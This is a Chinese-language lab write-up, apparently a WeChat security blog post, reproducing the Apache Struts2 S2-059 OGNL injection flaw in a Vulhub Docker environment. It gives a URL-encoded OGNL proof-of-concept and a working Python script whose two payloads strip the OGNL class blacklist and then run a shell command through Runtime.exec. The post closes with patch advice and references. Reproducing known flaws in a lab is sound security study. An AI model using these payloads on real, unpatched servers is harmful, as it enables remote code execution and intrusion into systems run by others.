网安引领时代,弥天点亮未来
虚拟机部署docker安装Vulhub一键搭建漏洞测试靶场环境。
docker-compose up -d
1、访问漏洞环境
2、POC验证,传入ognl表达式的poc: %{yun*zui} 这里需要URL编码
http://192.168.60.131:8080/?id=%25%7Byun*zui%7D
从测试结果可以看到id属性返回了yun*zui的结果,漏洞存在!
3、简单python脚本进行漏洞利用
import requests
url ="http://192.168.60.131:8080"
data1 = {
"id":"%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id":"%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch/tmp/yunzui'))}"
}
res1 =requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url,data=data2)
# print(res2.text)
运行完脚本之后,将远程执行
touch/tmp/yunzui
4、命令执行结果进入docker查看,成功执行
docker-compose exec struts2 bash
ls -al /tmp
升级到Struts2.5.22或更高版本
或者开启ONGL表达式注入保护措施
https://cert.360.cn/warning/detail?id=d2b39f48fd31f3b36cc957f23d4777af
https://cwiki.apache.org/confluence/display/WW/S2-059
https://codeload.github.com/vulhub/vulhub/zip/master
知识分享完了
喜欢别忘了关注我们哦~
学海浩茫,
弥 天
安全实验室
本文始发于微信公众号(弥天安全实验室):Apache Struts2--059远程代码执行漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论